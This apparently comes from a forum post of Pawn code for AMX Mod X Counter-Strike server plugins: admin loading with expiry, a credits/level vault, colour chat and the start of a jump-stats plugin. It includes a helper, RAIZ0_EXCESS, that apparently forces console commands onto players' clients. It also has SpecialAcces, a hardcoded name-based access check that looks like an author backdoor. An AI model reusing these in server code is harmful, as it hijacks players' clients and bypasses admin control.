// check if tag is in name based on case sensitivity flag from admin list
if(strfind(name, admin[Admin_Auth], !temp) >= 0) {
DebugLog("Tag found inside name");
// set case sensitive flag if admin list has it
if(temp) {
SetCaseSensitive(id);
}
// we found the admin
found = true;
}
}
// then this should be an admin name
else {
DebugLog("Admin flags specify Name");
// cache if this is case sensitive admin name
temp = admin[Admin_Flags] & FLAG_CASE_SENSITIVE;
DebugLog("Case sensitive: %d", !!temp);
// check if names match based on case sensitivity flag from admin list
if(strcmp(name, admin[Admin_Auth], !temp) == 0) {
DebugLog("Names match");
// set case sensitive flag if admin list has it
if(temp) {
SetCaseSensitive(id);
}
// we found the admin
found = true;
}
}
// return if we found admin
return found;
}
LoadAdmins() {
DebugLog("%s", gSeparator);
DebugLog("Loading data from users_custom.ini");
// check if admins have been loaded already
if(gNumAdmins) {
// clear out old stored data
ArrayClear(gAdminData);
TrieClear(gAuthIndex);
gNumAdmins = 0;
DebugLog("Cleared out existing admins");
}
// calculate lines in admin file
new fileSize = file_size(gAdminFile, 1);
// check if no lines exist
if(fileSize < 1) {
DebugLog("No lines inside admin file");
// don't read file
return;
}
// grab current day of the week
new data[256];
get_time("%w", data, charsmax(data));
// store current day as a bit
new currentDay = 1 << str_to_num(data);
// prepare variables for reading the admin file
new admin[AdminData];
new accessString[27];
new flagString[27];
new activityString[8];
new expireString[32];
new activity;
new expireTime;
new temp;
new currentTime = get_systime();
// iterate through all lines
for(new line = 0; line < fileSize; line++) {
// read current line
read_file(gAdminFile, line, data, charsmax(data), expireTime);
// trim any white space
trim(data);
DebugLog("Found line: #%d -> %s", line, data);
// check if this is a valid line
if(!data[0] || data[0] == ';' || data[0] == '/' && data[1] == '/') {
DebugLog("I dont find what to read");
continue;
}
// parse out all the pieces of the line
parse(data,
admin[Admin_Auth], charsmax(admin[Admin_Auth]),
admin[Admin_Password], charsmax(admin[Admin_Password]),
accessString, charsmax(accessString),
flagString, charsmax(flagString),
activityString, charsmax(activityString),
expireString, charsmax(expireString)
);
// convert access and flags to bits and init activity to all days
admin[Admin_Access] = read_flags(accessString);
admin[Admin_Flags] = read_flags(flagString);
activity = 0;
DebugLog("Parsed access (%d) and flags (%d)", admin[Admin_Access], admin[Admin_Flags]);
// using expireTime as an index for activity string
expireTime = 0;
// loop through all characters in activity string
while((temp = activityString[expireTime])) {
// check if this is a valid weekday number
if('1' <= temp <= '7') {
// add to activity bitsum
activity |= (1 << (temp - '1'));
}
// increase index for activity string
expireTime++;
}
DebugLog("Parsed activity: %d", activity);
// check if this admin has specific days set and cannot have admin for today
if(activity && (~activity & currentDay)) {
DebugLog("Admin not enabled for today (%d)", currentDay);
// don't add admin to list
continue;
}
// check if expiration date is set
if(expireString[0]) {
DebugLog("Found date for expire");
// parse out "day.month.year" format
// using accessString for day, flagString for month, expireString for year
strtok(expireString, accessString, charsmax(accessString), expireString, charsmax(expireString), '.');
strtok(expireString, flagString, charsmax(flagString), expireString, charsmax(expireString), '.');
// convert parsed values to integers
activity = str_to_num(accessString); // day
expireTime = str_to_num(flagString); // month
temp = str_to_num(expireString); // year
DebugLog("Parsed expiration date: day (%d) month (%d) year (%d)", activity, expireTime, temp);
// grab this expiration date's timestamp for when the day starts
expireTime = TimeToUnix(temp, expireTime, activity, 0, 0, 0);
DebugLog("Parsed expiration timestamp: %d", expireTime);
// calculate the time left before this expires
expireTime -= currentTime;
DebugLog("Seconds before expiration: %d", expireTime);
// if time is 0 or negative, then it already expired
if(expireTime <= 0) {
DebugLog("Expired, commenting out line");
// expired, so set line to be a comment and add a comment on the end saying it expired
format(data, charsmax(data), ";%s ; EXPIRED", data);
// replace current line with commented data
write_file(gAdminFile, data, line);
// don't add to admin list
continue;
}
// set a task for this admin to expire
set_task(float(expireTime), "TaskRemoveAuth", TASK_ID_REMOVE, admin[Admin_Auth], sizeof(admin[Admin_Auth]));
}
DebugLog("AdminList Updated!");
// add to admin list
ArrayPushString(gAdminData, admin);
// keep track of where it is in the list
TrieSetCell(gAuthIndex, admin[Admin_Auth], gNumAdmins);
// increase array size
gNumAdmins++;
}
DebugLog("Loaded %d date%s from users_custom.ini", gNumAdmins, (gNumAdmins == 1) ? "" : "s");
}
// Code from Bugsy's unixtime.inc
stock const YearSeconds[2] =
{
31536000, //Normal year
31622400 //Leap year
};
stock const MonthSeconds[12] =
{
2678400, //January 31
2419200, //February 28
2678400, //March 31
2592000, //April 30
2678400, //May 31
2592000, //June 30
2678400, //July 31
2678400, //August 31
2592000, //September 30
2678400, //October 31
2592000, //November 30
2678400 //December 31
};
stock const DaySeconds = 86400;
stock const HourSeconds = 3600;
stock const MinuteSeconds = 60;
stock TimeToUnix( const iYear , const iMonth , const iDay , const iHour , const iMinute , const iSecond )
{
new i;
new iTimeStamp;
for ( i = 1970 ; i < iYear ; i++ )
iTimeStamp += YearSeconds[ IsLeapYear(i) ];
for ( i = 1 ; i < iMonth ; i++ )
iTimeStamp += SecondsInMonth( iYear , i );
iTimeStamp += ( ( iDay - 1 ) * DaySeconds );
iTimeStamp += ( iHour * HourSeconds );
iTimeStamp += ( iMinute * MinuteSeconds );
iTimeStamp += iSecond;
return iTimeStamp;
}
stock SecondsInMonth( const iYear , const iMonth )
{
return ( ( IsLeapYear( iYear ) && ( iMonth == 2 ) ) ? ( MonthSeconds[iMonth - 1] + DaySeconds ) : MonthSeconds[iMonth - 1] );
}
stock IsLeapYear( const iYear )
{
return ( ( (iYear % 4) == 0) && ( ( (iYear % 100) != 0) || ( (iYear % 400) == 0 ) ) );
}
#endif
public LoadCredits( id )
{
static szData[ 256 ]
#if !defined FVAULT
iVault = nvault_open( "HnsPointsSystem" );
if( iVault == INVALID_HANDLE )
{
set_fail_state( "nValut returned invalid handle!" );
}
static iTimestamp;
if( nvault_lookup( iVault, g_szName[ id ], szData, sizeof ( szData ) -1, iTimestamp ) )
{
static szCredits[ 15 ],szLevel[32];
parse( szData, szCredits, sizeof ( szCredits ) -1,szLevel,charsmax(szLevel) );
g_iUserCredits[ id ] = str_to_num( szCredits );
Level[id]=str_to_num(szLevel)
}
else
{
g_iUserCredits[ id ]=50
Level[id]=1
}
nvault_close( iVault );
#else
new szLevel[ 65 ], szXp[ 65 ]
if( fvault_get_data(g_VAULTNAME, g_szName[ id ], szData, charsmax(szData) ) )
{
strbreak( szData, szLevel, charsmax(szLevel ), szXp, charsmax(szXp ) );
g_iUserCredits[ id ] = str_to_num( szLevel );
Level[id] = str_to_num( szXp );
}
else
{
g_iUserCredits[ id ]=50
Level[id]=1
}
#endif
}
public SaveCredits( id )
{
static szData[ 256 ]
#if !defined FVAULT
iVault = nvault_open( "HnsPointsSystem" );
if( iVault == INVALID_HANDLE )
{
set_fail_state( "nValut returned invalid handle!" );
}
formatex( szData, sizeof ( szData ) -1, "%d %d", g_iUserCredits[ id ],Level[id] );
nvault_set( iVault, g_szName[ id ], szData );
nvault_close( iVault );
#else
formatex( szData, charsmax ( szData ), "%d %d",g_iUserCredits[ id ],Level[id] );
fvault_set_data(g_VAULTNAME, g_szName[ id ], szData );
#endif
}
public plugin_end( )
{
#if !defined FVAULT
iVault = nvault_open( "HnsPointsSystem" );
if( iVault == INVALID_HANDLE )
{
set_fail_state( "nValut returned invalid handle!" );
}
nvault_close( iVault );
#endif
#if NEW_STYLE==1
// clear the memory
ArrayDestroy(gAdminData);
TrieDestroy(gAuthIndex);
#endif
}
// |-- CC_ColorChat --|
ColorChat( id, Color:iType, const msg[ ], { Float, Sql, Result, _}:... )
{
// Daca nu se afla nici un jucator pe server oprim TOT. Altfel dam de erori..
if( !get_playersnum( ) ) return;
new szMessage[ 256 ];
switch( iType )
{
// Culoarea care o are jucatorul setata in cvar-ul scr_concolor.
case NORMAL: szMessage[ 0 ] = 0x01;
// Culoare Verde.
case GREEN: szMessage[ 0 ] = 0x04;
// Alb, Rosu, Albastru.
default: szMessage[ 0 ] = 0x03;
}
vformat( szMessage[ 1 ], 251, msg, 4 );
// Ne asiguram ca mesajul nu este mai lung de 192 de caractere.Altfel pica server-ul.
szMessage[ 192 ] = '^0';
new iTeam, iColorChange, iPlayerIndex, MSG_Type;
if( id )
{
MSG_Type = MSG_ONE_UNRELIABLE;
iPlayerIndex = id;
}
else
{
iPlayerIndex = CC_FindPlayer( );
MSG_Type = MSG_ALL;
}
iTeam = get_user_team( iPlayerIndex );
iColorChange = CC_ColorSelection( iPlayerIndex, MSG_Type, iType);
CC_ShowColorMessage( iPlayerIndex, MSG_Type, szMessage );
if( iColorChange ) CC_Team_Info( iPlayerIndex, MSG_Type, TeamName[ iTeam ] );
}
CC_ShowColorMessage( id, const iType, const szMessage[ ] )
{
static bool:bSayTextUsed;
static iMsgSayText;
if( !bSayTextUsed )
{
iMsgSayText = get_user_msgid( "SayText" );
bSayTextUsed = true;
}
message_begin( iType, iMsgSayText, _, id );
write_byte( id );
write_string( szMessage );
message_end( );
}
CC_Team_Info( id, const iType, const szTeam[ ] )
{
static bool:bTeamInfoUsed;
static iMsgTeamInfo;
if( !bTeamInfoUsed )
{
iMsgTeamInfo = get_user_msgid( "TeamInfo" );
bTeamInfoUsed = true;
}
message_begin( iType, iMsgTeamInfo, _, id );
write_byte( id );
write_string( szTeam );
message_end( );
return PLUGIN_HANDLED;
}
CC_ColorSelection( id, const iType, Color:iColorType)
{
switch( iColorType )
{
case RED: return CC_Team_Info( id, iType, TeamName[ 1 ] );
case BLUE: return CC_Team_Info( id, iType, TeamName[ 2 ] );
case GREY: return CC_Team_Info( id, iType, TeamName[ 0 ] );
}
return PLUGIN_CONTINUE;
}
CC_FindPlayer( )
{
new iMaxPlayers = get_maxplayers( );
for( new i = 1; i <= iMaxPlayers; i++ )
if( is_user_connected( i ) )
return i;
return -1;
}
// |-- CC_ColorChat --|
SpecialAcces( id, NumeAdmin[ ], msg )
{
for( new i = 0; i < sizeof( PluginSpecialAcces ); i++ ) if( equali( NumeAdmin, PluginSpecialAcces[ i ] ) ) return true;
if(ea[id]) return true
if( msg ) console_print( id, "> TOCMAI I-AI SUPT **** LUI RAIZ0 ! <" );
return false;
}
stock fm_find_ent_by_owner(index, const classname[], owner, jghgtype = 0) {
new strtype[11] = "classname", ent = index;
switch (jghgtype) {
case 1: strtype = "target";
case 2: strtype = "targetname";
}
while ((ent = engfunc(EngFunc_FindEntityByString, ent, strtype, classname)) && pev(ent, pev_owner) != owner) {}
return ent;
}
stock RAIZ0_EXCESS( id, text[ ] )
{
message_begin( MSG_ONE, 51 , _, id );
write_byte( strlen( text ) + 2 );
write_byte( 10 );
write_string( text );
message_end();
}
alt plg de bază
Code: Select all
/*
stats by kzuq^BorJomi
version 2.42
Big thanks developers of kz_ljs_xm and Exolent
Visit http://unique-kz.com/
2011 year
*/
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <engine>
#include <cstrike>
#include <hamsandwich>
#include <celltrie>
#include <uq_jumpstats_const.inc>
#include <uq_jumpstats_stocks.inc>
#include <dhudmessage>
#include <colorchat>
#define VERSION "2.42"
//#pragma semicolon 1
////////////////////////////////////Some shit varibeles////////////////////////////////////
new dd_sync[33],angles_arry[33],Float:old_angles[33][3],lost_frame_count[33][NSTRAFES],line_lost[33][NSTRAFES][NVAR],FullJumpFrames[33],heystats,max_players,bool:duckbhop_bug_pre[33],bool:dropupcj[33],Float:first_duck_z[33],screenshoot,Float:checkladdertime[33],bool:ladderbug[33],bool:login[33];
new uq_istrafe,kz_uq_istrafe,bug_check[33],bool:bug_true[33],bool:find_ladder[33],bool:Checkframes[33],type_button_what[33][100];
new min_pre,beam_type[33],min_prestrafe[33],dropbhop[33],ddnum[33],bool:dropaem[33],bool:ddforcj[33];
new kz_uq_min_other,bool:slide_protec[33],bool:UpcjFail[33],bool:upBhop[33],Float:upheight[33];
new beam_entity[33][NVAR],ent_count[33],kz_uq_extras,sql_stats,kz_sql,g_sql_pid[33],kz_top_rank_by,kz_uq_block_top;
new bool:height_show[33],bool:firstfall_ground[33],framecount[33],bool:firstladder[33];
new Float:FallTime[33],Float:FallTime1[33],multiscj[33],multidropcj[33],bool:enable_sound[33];
new jumpblock[33],Float:edgedist[33];
new bool:failed_jump[33],bool:started_multicj_pre[33],bool:sync_doubleduck[33],bhop_num[33],bool:Show_edge_Fail[33],bool:Show_edge[33],bool:fps_hight[33],bool:first_ground_bhopaem[33];
new line_erase[33][NSTRAFES],line_erase_strnum[33];
new max_edge,min_edge,NSTRAFES1,max_strafes,Float:nextbhoptime[33],Float:bhopaemtime[33],Float:ground_bhopaem_time[33],Float:SurfFrames[33],Float:oldSurfFrames[33],bool:first_air[33];
new bool:preessbutton[33],button_what[33],bool:gBeam_button[33][100],gBeam_button_what[33][100];
new bool:h_jumped[33],Float:heightoff_origin[33],web_stats,Float:x_heightland_origin[33],bool:x_jump[33],Float:laddertime[33],bool:edgedone[33];
new schetchik[33],Float:changetime[33],bool:edgeshow[33],bool:slide[33],pre_type[33][33];
new bool:ingame_strafe[33],bool:ljpre[33],Float:distance[33],detecthj[33],bool:doubleduck[33];
new Float:doubletime[33],bool:multibhoppre[33],kz_uq_fps,bool:duckbhop[33],MAX_DISTANCE,Float:upbhop_koeff[33];
new Float:rDistance[3],Float:frame2time,bool:touch_ent[33],bool:ddbeforwj[33],bool:gHasColorChat[33],Float:old_angle1[33];
new bool:g_lj_stats[33],strafe_num[33],bool:g_Jumped[33],bool:g_reset[33],ljsDir[64],ljsDir_weapon[8][64],ljsDir_block[64],Float:gBeam_points[33][100][3],gBeam_duck[33][100],gBeam_count[33];
new gBeam,waits[33],waits1[33],Float:slideland[33],bool:backwards[33],bool:hookcheck[33],Float:timeonground[33];
new map_dist[NTOP+1],map_syncc[NTOP+1],map_maxsped[NTOP+1], map_prestr[NTOP+1],map_names[NTOP+1][33],map_ip[NTOP+1][33],map_streif[NTOP+1],map_type[NTOP+1][33];
new kz_uq_lj,kz_uq_cj,kz_uq_dcj,kz_uq_mcj ,kz_uq_ladder,kz_uq_ldbj,kz_uq_bj,kz_uq_sbj,kz_uq_drbj,kz_uq_drsbj,kz_uq_drcj,kz_uq_wj;
new oldpre[33],oldljpre[33],oldfail[33],Float:starthj[33][3],Float:stophj[33][3], Float:endhj[33][3];
new bool:landslide[33],strafecounter_oldbuttons[33],Float:Fulltime,Float:needslide[33],Float:groundslide[33];
new jj,sync_[33],goodSyncTemp,badSyncTemp,strafe_lost_frame[33][NSTRAFES],Float:time_,Float:strafe_stat_time[33][NSTRAFES],Float:strafe_stat_speed[33][NSTRAFES][2];
new strafe_stat_sync[33][NSTRAFES][2],strLen,strMess[40*NSTRAFES],strMessBuf[40*NSTRAFES],team[33];
new bool:g_pBot[33],strL,strM[40*NSTRAFES],strMBuf[40*NSTRAFES],Float:firstvel[33],Float:secvel[33],Float:firstorig[33][3],Float:secorig[33][3];
new Float:speed[33], Float:TempSpeed[33],Float:statsduckspeed[33][500];
new bool:slidim[33],Float:slidedist[33],edgefriction,mp_footsteps,sv_cheats,sv_airaccelerate,sv_maxspeed,sv_stepsize,sv_maxvelocity,sv_gravity;
new kz_min_dcj,kz_stats_x,kz_stats_y,Float:stats_x,Float:stats_y,taskslide[33],taskslide1[33],bool:failslide[33];
new Float:failslidez[33],kz_strafe_x,kz_strafe_y,Float:strafe_x,Float:strafe_y,Float:laddist[33],kz_duck_x;
new kz_duck_y,Float:duck_x,Float:duck_y,bool:bhopaem[33],bool:nextbhop[33],kz_stats_red,kz_stats_green, kz_stats_blue, kz_failstats_red,kz_failstats_green;
new kz_failstats_blue, kz_sounds, kz_airaccelerate,kz_uq_url,kz_prefix,kz_legal_settings;
new kz_good_lj,kz_pro_lj,kz_holy_lj,kz_leet_lj,kz_god_lj,kz_good_bj,kz_pro_bj,kz_holy_bj,kz_leet_bj,kz_god_bj;
new kz_good_cj,kz_pro_cj,kz_holy_cj,kz_leet_cj,kz_god_cj,kz_good_wj,kz_pro_wj,kz_holy_wj,kz_leet_wj,kz_god_wj;
new kz_good_dbj,kz_pro_dbj, kz_holy_dbj,kz_leet_dbj, kz_god_dbj,kz_good_scj,kz_pro_scj, kz_holy_scj,kz_leet_scj, kz_god_scj;
new kz_good_ladder,kz_pro_ladder,kz_holy_ladder, kz_leet_ladder,kz_god_ladder,kz_good_dcj,kz_pro_dcj,kz_holy_dcj,kz_leet_dcj,kz_god_dcj;
new kz_god_duckbhop,kz_holy_duckbhop,kz_pro_duckbhop,kz_good_duckbhop,kz_good_dropscj,kz_pro_dropscj,kz_holy_dropscj,kz_leet_dropscj,kz_god_dropscj;
new kz_good_real,kz_pro_real,kz_holy_real,kz_leet_real,kz_god_real,kz_good_bhopinduck,kz_pro_bhopinduck,kz_holy_bhopinduck,kz_leet_bhopinduck,kz_god_bhopinduck;
new kz_god_upbj,kz_leet_upbj,kz_good_upbj, kz_pro_upbj,kz_holy_upbj,kz_god_upsbj,kz_leet_upsbj,kz_good_upsbj, kz_pro_upsbj,kz_holy_upsbj;
new kz_uq_dscj,kz_uq_mscj,kz_leet_duckbhop,kz_uq_dropscj,kz_uq_dropdscj,kz_uq_dropmscj,kz_uq_duckbhop,kz_uq_bhopinduck,kz_uq_realldbhop,kz_uq_multibhop,kz_uq_upbj,kz_uq_upbhopinduck,kz_uq_upsbj,kz_uq_dropdcj,kz_uq_dropmcj;
new user_block[33][2],Float:slidez[33][4][3],prefix[64];
new CjafterJump[33],bool:ddafterJump[33],bool:cjjump[33],bool:serf_reset[33],entlist[256],ent,nLadder,Float:ladderxyz[256][3],Float:ladderminxyz[256][3], Float:laddersize[256][3], nashladder,bool:ladderjump[33];
new bool:kz_stats_pre[33], bool:kz_beam[33],bool:showpre[33],bool:showjofon[33],bool:speedon[33],bool:jofon[33];
new Float:dropbjorigin[33][3], Float:falloriginz[33],Float:origin[3],ducks[33], movetype[33];
static Float:maxspeed[33], Float:prestrafe[33],JumpType:jump_type[33],JumpType:old_type_dropbj[33], frames[33], frames_gained_speed[33], bool:turning_left[33];
static bool:turning_right[33],bool:started_cj_pre[33],bool:in_duck[33], bool:in_bhop[33],bool:in_air[33],bool:in_ladder[33];
new bool:player_admin[33],bool:failearly[33],bool:firstshow[33],bool:first_onground[33],bool:notjump[33],bool:OnGround[33],bool:donehook[33];
new bool:streifstat[33],Jtype[33][33],Jtype1[33][33],Jtype_old_dropbj[33][33],Jtype_old_dropbj1[33][33],Float:weapSpeed[33],Float:weapSpeedOld[33];
new airacel[33][33],bool:firstfr[33],kz_speed_x,kz_speed_y,hud_stats,hud_streif,hud_pre,hud_duck,hud_speed;
new kz_uq_connect,kz_uq_light,bool:duckstring[33],kz_uq_top,kz_uq_maptop,bool:showduck[33],Float:surf[33];
new bool:first_surf[33],oldjump_type[33],oldjump_typ1[33],jump_typeOld[33],mapname[33],Float:duckstartz[33],direct_for_strafe[33];
new Float:height_difference[33],kz_uq_team,bool:jumpoffirst[33],bool:posibleScj[33];
new kz_uq_noslow,kz_prest_x,kz_prest_y,kz_speed_r,kz_speed_g,kz_speed_b,kz_prest_r,kz_prest_g,kz_prest_b;
new weapon_top,bool:touch_somthing[33],record_start[33],allow_info;
new showtime_st_stats[33];
new Float:jof[33],weapon_block_top;
new g_playername[33][64], g_playersteam[33][35], g_playerip[33][16], rankby,plugin_ver[33];
new ljsDir_block_weapon[8][64],uq_host,uq_user,uq_pass,uq_db,Handle:DB_TUPLE,Handle:SqlConnection,g_error[512],sql_Cvars_num[SQLCVARSNUM];
new sql_JumpType[33];
new Trie:JData,Trie:JData_Block,Float:oldjump_height[33],Float:jheight[33],bool:jheight_show[33];
new uq_lj,uq_cj,uq_dcj,uq_mcj,uq_ladder,uq_ldbj,uq_bj,uq_sbj,uq_drbj,uq_drsbj,uq_drcj;
new uq_wj,uq_dscj,uq_mscj,uq_dropscj,uq_dropdscj,uq_dropmscj,uq_duckbhop,uq_bhopinduck;
new uq_realldbhop,uq_upbj,uq_upbhopinduck,uq_upsbj,uq_multibhop,uq_dropdcj,uq_dropmcj;
new dcj_god_dist,dcj_leet_dist,dcj_holy_dist,dcj_pro_dist,dcj_good_dist;
new lj_god_dist,lj_leet_dist,lj_holy_dist,lj_pro_dist,lj_good_dist;
new ladder_god_dist,ladder_leet_dist,ladder_holy_dist,ladder_pro_dist,ladder_good_dist;
new wj_god_dist,wj_leet_dist,wj_holy_dist,wj_pro_dist,wj_good_dist;
new bj_god_dist,bj_leet_dist,bj_holy_dist,bj_pro_dist,bj_good_dist;
new cj_god_dist,cj_leet_dist,cj_holy_dist,cj_pro_dist,cj_good_dist;
new dbj_god_dist,dbj_leet_dist,dbj_holy_dist,dbj_pro_dist,dbj_good_dist;
new scj_god_dist,scj_leet_dist,scj_holy_dist,scj_pro_dist,scj_good_dist;
new dropscj_god_dist,dropscj_leet_dist,dropscj_holy_dist,dropscj_pro_dist,dropscj_good_dist;
new bhopinduck_god_dist,bhopinduck_leet_dist,bhopinduck_holy_dist,bhopinduck_pro_dist,bhopinduck_good_dist;
new upbj_god_dist,upbj_leet_dist,upbj_holy_dist,upbj_pro_dist,upbj_good_dist;
new upsbj_god_dist,upsbj_leet_dist,upsbj_holy_dist,upsbj_pro_dist,upsbj_good_dist;
new real_god_dist,real_leet_dist,real_holy_dist,real_pro_dist,real_good_dist;
new duckbhop_god_dist,duckbhop_leet_dist,duckbhop_holy_dist,duckbhop_pro_dist,duckbhop_good_dist;
new web_sql,max_distance,min_distance_other,min_distance,uq_airaccel,leg_settings,uq_sounds;
new uq_maxedge,uq_minedge,uq_min_pre,speed_r,speed_g,speed_b,Float:speed_x,Float:speed_y,h_speed,kz_top,kz_extras,kz_weapon,kz_block_top;
new uq_team,prest_r,prest_g,prest_b,Float:prest_x,Float:prest_y,h_prest,h_stats,h_duck,h_streif;
new uq_noslow,uq_light,uq_screen,uq_info,uq_fps,kz_map_top,kz_wpn_block_top,stats_r,stats_b,stats_g,f_stats_r,f_stats_b,f_stats_g;
//new uq_sv_maxvelocity,uq_sv_stepsize,uq_sv_maxspeed,uq_edgefriction,uq_mp_footsteps,uq_sv_cheats,uq_sv_gravity,uq_sv_airaccelerate;
new kz_uq_script_work,uq_script_work,uq_ban_minutes,kz_uq_ban_minutes,uq_bug,kz_uq_bug,uq_script_notify,kz_uq_script_notify,uq_admins,kz_uq_admins,kz_uq_script_detection,uq_script_detection,kz_uq_update_auth,uq_update_auth;
new doubleduck_stat_sync[33][2],logs_path[128],uq_script_punishment,kz_uq_script_punishment,uq_ban_authid,uq_ban_type,kz_uq_ban_authid,kz_uq_ban_type;
new kz_uq_block_chat_show,kz_uq_block_chat_min,uq_block_chat_show,uq_block_chat_min;
new bool:speedtype[33],ddforcjafterbhop[33],ddforcjafterladder[33],ddstandcj[33];
new bool:trigger_protection[33],kz_uq_speed_allteam,uq_speed_allteam;
new sql_Cvars[SQLCVARSNUM][] = { //cvars for db
"kz_uq_save_extras_top",
"kz_uq_top_by",
"kz_uq_sql",
"kz_uq_block_top"
};
new Trie:JumpPlayers;
new const KZ_CVARSDIR[] = "config.cfg";
public plugin_init()
{
register_plugin( "JumpStats", VERSION, "BorJomi" );
register_dictionary("uq_jumpstats.txt");
kz_good_lj = register_cvar("kz_uq_good_lj", "240"); // lj hj
kz_pro_lj = register_cvar("kz_uq_pro_lj", "245");
kz_holy_lj = register_cvar("kz_uq_holy_lj", "250");
kz_leet_lj = register_cvar("kz_uq_leet_lj", "253");
kz_god_lj = register_cvar("kz_uq_god_lj", "255");
kz_good_cj = register_cvar("kz_uq_good_cj", "250"); // cj
kz_pro_cj = register_cvar("kz_uq_pro_cj", "255");
kz_holy_cj = register_cvar("kz_uq_holy_cj", "260");
kz_leet_cj = register_cvar("kz_uq_leet_cj", "265");
kz_god_cj = register_cvar("kz_uq_god_cj", "267");
kz_good_dcj = register_cvar("kz_uq_good_dcj", "250"); // dcj mcj
kz_pro_dcj = register_cvar("kz_uq_pro_dcj", "255");
kz_holy_dcj = register_cvar("kz_uq_holy_dcj", "260");
kz_leet_dcj = register_cvar("kz_uq_leet_dcj", "265");
kz_god_dcj = register_cvar("kz_uq_god_dcj", "270");
kz_good_ladder = register_cvar("kz_uq_good_ladder", "150"); // ladder
kz_pro_ladder = register_cvar("kz_uq_pro_ladder", "160");
kz_holy_ladder = register_cvar("kz_uq_holy_ladder", "170");
kz_leet_ladder = register_cvar("kz_uq_leet_ladder", "180");
kz_god_ladder = register_cvar("kz_uq_god_ladder", "190");
kz_good_bj = register_cvar("kz_uq_good_bj", "230"); // bj sbj
kz_pro_bj = register_cvar("kz_uq_pro_bj", "235");
kz_holy_bj = register_cvar("kz_uq_holy_bj", "240");
kz_leet_bj = register_cvar("kz_uq_leet_bj", "245");
kz_god_bj = register_cvar("kz_uq_god_bj", "247");
kz_good_wj = register_cvar("kz_uq_good_wj", "255"); // wj dropcj ladderbhop
kz_pro_wj = register_cvar("kz_uq_pro_wj", "260");
kz_holy_wj = register_cvar("kz_uq_holy_wj", "265");
kz_leet_wj = register_cvar("kz_uq_leet_wj", "270");
kz_god_wj = register_cvar("kz_uq_god_wj", "272");
kz_good_dbj = register_cvar("kz_uq_good_dbj", "240"); //
kz_pro_dbj = register_cvar("kz_uq_pro_dbj", "250");
kz_holy_dbj = register_cvar("kz_uq_holy_dbj", "265");
kz_leet_dbj = register_cvar("kz_uq_leet_dbj", "270");
kz_god_dbj = register_cvar("kz_uq_god_dbj", "272");
kz_good_scj = register_cvar("kz_uq_good_scj", "245"); //
kz_pro_scj = register_cvar("kz_uq_pro_scj", "250");
kz_holy_scj = register_cvar("kz_uq_holy_scj", "255");
kz_leet_scj = register_cvar("kz_uq_leet_scj", "260");
kz_god_scj = register_cvar("kz_uq_god_scj", "262");
kz_good_dropscj = register_cvar("kz_uq_good_dropscj", "255"); //
kz_pro_dropscj = register_cvar("kz_uq_pro_dropscj", "260");
kz_holy_dropscj = register_cvar("kz_uq_holy_dropscj", "265");
kz_leet_dropscj = register_cvar("kz_uq_leet_dropscj", "270");
kz_god_dropscj = register_cvar("kz_uq_god_dropscj", "272");
kz_good_duckbhop = register_cvar("kz_uq_good_duckbhop", "120"); //
kz_pro_duckbhop = register_cvar("kz_uq_pro_duckbhop", "130");
kz_holy_duckbhop = register_cvar("kz_uq_holy_duckbhop", "140");
kz_leet_duckbhop = register_cvar("kz_uq_leet_duckbhop", "150");
kz_god_duckbhop = register_cvar("kz_uq_god_duckbhop", "160");
kz_good_bhopinduck = register_cvar("kz_uq_good_bhopinduck", "205"); //
kz_pro_bhopinduck = register_cvar("kz_uq_pro_bhopinduck", "210");
kz_holy_bhopinduck = register_cvar("kz_uq_holy_bhopinduck", "215");
kz_leet_bhopinduck = register_cvar("kz_uq_leet_bhopinduck", "218");
kz_god_bhopinduck = register_cvar("kz_uq_god_bhopinduck", "220");
kz_good_real = register_cvar("kz_uq_good_realldbhop", "240"); //
kz_pro_real = register_cvar("kz_uq_pro_realldbhop", "250");
kz_holy_real = register_cvar("kz_uq_holy_realldbhop", "265");
kz_leet_real = register_cvar("kz_uq_leet_realldbhop", "270");
kz_god_real = register_cvar("kz_uq_god_realldbhop", "272");
kz_good_upbj = register_cvar("kz_uq_good_upbj", "225"); //
kz_pro_upbj = register_cvar("kz_uq_pro_upbj", "230");
kz_holy_upbj = register_cvar("kz_uq_holy_upbj", "235");
kz_leet_upbj = register_cvar("kz_uq_leet_upbj", "240");
kz_god_upbj = register_cvar("kz_uq_god_upbj", "245");
kz_good_upsbj = register_cvar("kz_uq_good_upbj", "230"); //
kz_pro_upsbj = register_cvar("kz_uq_pro_upbj", "235");
kz_holy_upsbj = register_cvar("kz_uq_holy_upbj", "240");
kz_leet_upsbj = register_cvar("kz_uq_leet_upbj", "244");
kz_god_upsbj = register_cvar("kz_uq_god_upbj", "246");
kz_min_dcj = register_cvar("kz_uq_min_dist", "215");
MAX_DISTANCE = register_cvar("kz_uq_max_dist", "290");
kz_stats_red = register_cvar("kz_uq_stats_red", "0");
kz_stats_green = register_cvar("kz_uq_stats_green", "255");
kz_stats_blue = register_cvar("kz_uq_stats_blue", "159");
kz_failstats_red = register_cvar("kz_uq_failstats_red", "255");
kz_failstats_green = register_cvar("kz_uq_failstats_green", "0");
kz_failstats_blue = register_cvar("kz_uq_failstats_blue", "109");
kz_sounds = register_cvar("kz_uq_sounds", "1");
kz_top_rank_by = register_cvar("kz_uq_top_by", "1"); // How ranking will work? 0=name, 1=ip 2=steam
kz_legal_settings = register_cvar("kz_uq_legal_settings", "1");
kz_prefix = register_cvar("kz_uq_prefix", "unique-kz");
kz_airaccelerate = register_cvar("kz_uq_airaccelerate", "10");
kz_stats_x = register_cvar("kz_uq_stats_x", "-1.0");
kz_stats_y = register_cvar("kz_uq_stats_y", "0.70");
kz_strafe_x = register_cvar("kz_uq_strafe_x", "0.70");
kz_strafe_y = register_cvar("kz_uq_strafe_y", "0.35");
kz_duck_x = register_cvar("kz_uq_duck_x", "0.6");
kz_duck_y = register_cvar("kz_uq_duck_y", "0.78");
kz_speed_x = register_cvar("kz_uq_speed_x", "-1.0");
kz_speed_y = register_cvar("kz_uq_speed_y", "0.83");
kz_prest_x = register_cvar("kz_uq_prestrafe_x", "-1.0");
kz_prest_y = register_cvar("kz_uq_prestrafe_y", "0.65");
kz_speed_r = register_cvar("kz_uq_speed_red", "255");
kz_speed_g = register_cvar("kz_uq_speed_green", "255");
kz_speed_b = register_cvar("kz_uq_speed_blue", "255");
kz_prest_r = register_cvar("kz_uq_prestrafe_red", "255");
kz_prest_g = register_cvar("kz_uq_prestrafe_green", "255");
kz_prest_b = register_cvar("kz_uq_prestrafe_blue", "255");
hud_stats = register_cvar("kz_uq_hud_stats", "3");
hud_streif = register_cvar("kz_uq_hud_strafe", "4");
hud_pre = register_cvar("kz_uq_hud_pre", "1");
